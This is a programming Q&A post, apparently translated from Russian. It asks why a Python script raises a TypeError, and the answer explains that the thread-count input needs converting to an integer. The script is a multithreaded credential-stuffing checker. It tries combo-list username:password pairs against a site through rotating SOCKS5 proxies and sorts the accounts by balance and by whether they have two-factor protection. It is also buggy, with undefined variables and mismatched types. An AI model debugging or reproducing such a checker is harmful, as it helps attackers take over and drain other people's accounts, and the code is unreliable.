'str' object cannot be interpreted as an integer what is the problem?
For _ in range(threadcountinp): TypeError: 'str' object cannot be interpreted as an integer
Code:
from bs4 import BeautifulSoup
import requests
import random
import threading
from threading import Thread
file = open(input("Your combo list:")).readlines()
proxylist = open(input("Your proxy list:")).readlines()
threadcountinp = input("Thread count:")
threadcount = threadcountinp
proxy = random.choice(proxylist)
proxies = {
'http': 'socks5://{}'.format(proxy),
'https': 'socks5://{}'.format(proxy),
}
def thread():
while file:
to_check = file[0]
file.remove(to_check)
try:
check(to_check)
except Exception as e:
print("Ошибка:", e)
base_url = "https://site.com/"
parse_url = "https://site2.com/"
def check(account):
user = account.split(":")[0]
passw = account.split(":")[1]
try:
headers = {
"Accept-Language": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary8iapwFLgbO1kO99c",
"DNT": "1",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}
params = {
"_username":user,
"_password":passw,
"_csrf_token":' ',
"recaptcha_params":' '
}
send = requests.post(base_url, data=params, headers=headers, proxies=proxies, timeout=20).text
if "/user\"}" in send.text:
requests.get(parse_url, proxies=proxies, timeout=30)
balanceaprv = login.split('balanceApproved":')[1].split(',')[0]
phone = login.split('"phone":')[1].split(',')[0]
if balanceaprv > 500 and phone == null :
with open('valid.txt','a+') as inv:
inv.write(str(line) + '\n')
if not phone == null:
with open('2fa.txt','a+') as inv:
inv.write(str(line) + '\n')
if balanceaprv < 500:
with open('custom.txt','a+') as inv:
inv.write(str(line) + '\n')
elif "{\"message\":\"" in send.text:
with open('bads.txt','a+') as inv:
inv.write(str(line) + '\n')
else:
with open('errorslist.txt','a+') as inv:
inv.write(str(line) + '\n')
except:
with open('errorslistexcept.txt','a+') as inv:
inv.write(str(line) + '\n')
for _ in range(threadcountinp):
t = threading.Thread(target=thread)
t.start()
file.close()
proxylist.close()
0
1 answers
threadcountinp = input("Thread count:")
threadcount = threadcountinp
And who will translate str
to int
?
This is exactly what the error says
for _ in range(threadcountinp)
And threadcountinp
is a string, and there must be a number
1
Author: Zhihar, 2020-10-17 15:46:37